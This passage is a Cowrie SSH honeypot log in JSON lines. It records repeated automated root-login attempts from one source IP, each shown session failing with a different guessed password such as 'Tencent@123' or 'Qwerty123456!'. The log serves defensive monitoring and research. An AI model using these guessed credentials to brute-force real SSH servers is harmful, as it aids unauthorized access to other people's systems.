{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41262,"dst_ip":"10.17.0.5","dst_port":22,"session":"751a856dc8c8","protocol":"ssh","message":"New connection: 60.165.124.241:41262 (10.17.0.5:22) [session: 751a856dc8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:30.653469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:30.658538Z","src_ip":"60.165.124.241","session":"751a856dc8c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:30.898286Z","src_ip":"60.165.124.241","session":"751a856dc8c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootman","message":"login attempt [root/rootman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:31.647446Z","src_ip":"60.165.124.241","session":"751a856dc8c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:32.895982Z","src_ip":"60.165.124.241","session":"751a856dc8c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43862,"dst_ip":"10.17.0.5","dst_port":22,"session":"17e6587dc369","protocol":"ssh","message":"New connection: 60.165.124.241:43862 (10.17.0.5:22) [session: 17e6587dc369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:33.147519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:33.151482Z","src_ip":"60.165.124.241","session":"17e6587dc369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:33.402273Z","src_ip":"60.165.124.241","session":"17e6587dc369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweQWE123!@#","message":"login attempt [root/qweQWE123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:34.169330Z","src_ip":"60.165.124.241","session":"17e6587dc369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:35.419048Z","src_ip":"60.165.124.241","session":"17e6587dc369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47042,"dst_ip":"10.17.0.5","dst_port":22,"session":"78e053224361","protocol":"ssh","message":"New connection: 60.165.124.241:47042 (10.17.0.5:22) [session: 78e053224361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:35.651082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:35.655646Z","src_ip":"60.165.124.241","session":"78e053224361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:35.903699Z","src_ip":"60.165.124.241","session":"78e053224361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab@123456","message":"login attempt [root/Ab@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:36.639102Z","src_ip":"60.165.124.241","session":"78e053224361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:37.901604Z","src_ip":"60.165.124.241","session":"78e053224361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49988,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a9f71f806f7","protocol":"ssh","message":"New connection: 60.165.124.241:49988 (10.17.0.5:22) [session: 6a9f71f806f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:38.147642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:38.152365Z","src_ip":"60.165.124.241","session":"6a9f71f806f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:38.393687Z","src_ip":"60.165.124.241","session":"6a9f71f806f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123456!","message":"login attempt [root/Qwerty123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:39.138103Z","src_ip":"60.165.124.241","session":"6a9f71f806f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:40.386737Z","src_ip":"60.165.124.241","session":"6a9f71f806f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52956,"dst_ip":"10.17.0.5","dst_port":22,"session":"6893ecc1ad94","protocol":"ssh","message":"New connection: 60.165.124.241:52956 (10.17.0.5:22) [session: 6893ecc1ad94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:40.632895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:40.642888Z","src_ip":"60.165.124.241","session":"6893ecc1ad94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:40.881584Z","src_ip":"60.165.124.241","session":"6893ecc1ad94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server1234!","message":"login attempt [root/Server1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:41.873781Z","src_ip":"60.165.124.241","session":"6893ecc1ad94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:43.125498Z","src_ip":"60.165.124.241","session":"6893ecc1ad94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56390,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9581f246b1","protocol":"ssh","message":"New connection: 60.165.124.241:56390 (10.17.0.5:22) [session: ae9581f246b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:43.397791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:43.402439Z","src_ip":"60.165.124.241","session":"ae9581f246b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:43.666131Z","src_ip":"60.165.124.241","session":"ae9581f246b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sistemas","message":"login attempt [root/sistemas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:44.473284Z","src_ip":"60.165.124.241","session":"ae9581f246b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:45.732029Z","src_ip":"60.165.124.241","session":"ae9581f246b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59416,"dst_ip":"10.17.0.5","dst_port":22,"session":"14732c42d5ea","protocol":"ssh","message":"New connection: 60.165.124.241:59416 (10.17.0.5:22) [session: 14732c42d5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:45.950415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:45.955994Z","src_ip":"60.165.124.241","session":"14732c42d5ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:46.212296Z","src_ip":"60.165.124.241","session":"14732c42d5ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!123qwe123","message":"login attempt [root/!123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:46.957927Z","src_ip":"60.165.124.241","session":"14732c42d5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:48.198823Z","src_ip":"60.165.124.241","session":"14732c42d5ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34248,"dst_ip":"10.17.0.5","dst_port":22,"session":"476e5ae3e3ec","protocol":"ssh","message":"New connection: 60.165.124.241:34248 (10.17.0.5:22) [session: 476e5ae3e3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:48.437273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:48.440969Z","src_ip":"60.165.124.241","session":"476e5ae3e3ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:48.688865Z","src_ip":"60.165.124.241","session":"476e5ae3e3ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tencent@123","message":"login attempt [root/Tencent@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:49.438262Z","src_ip":"60.165.124.241","session":"476e5ae3e3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:50.681466Z","src_ip":"60.165.124.241","session":"476e5ae3e3ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37050,"dst_ip":"10.17.0.5","dst_port":22,"session":"7464a2eda603","protocol":"ssh","message":"New connection: 60.165.124.241:37050 (10.17.0.5:22) [session: 7464a2eda603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:50.922183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:50.926472Z","src_ip":"60.165.124.241","session":"7464a2eda603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac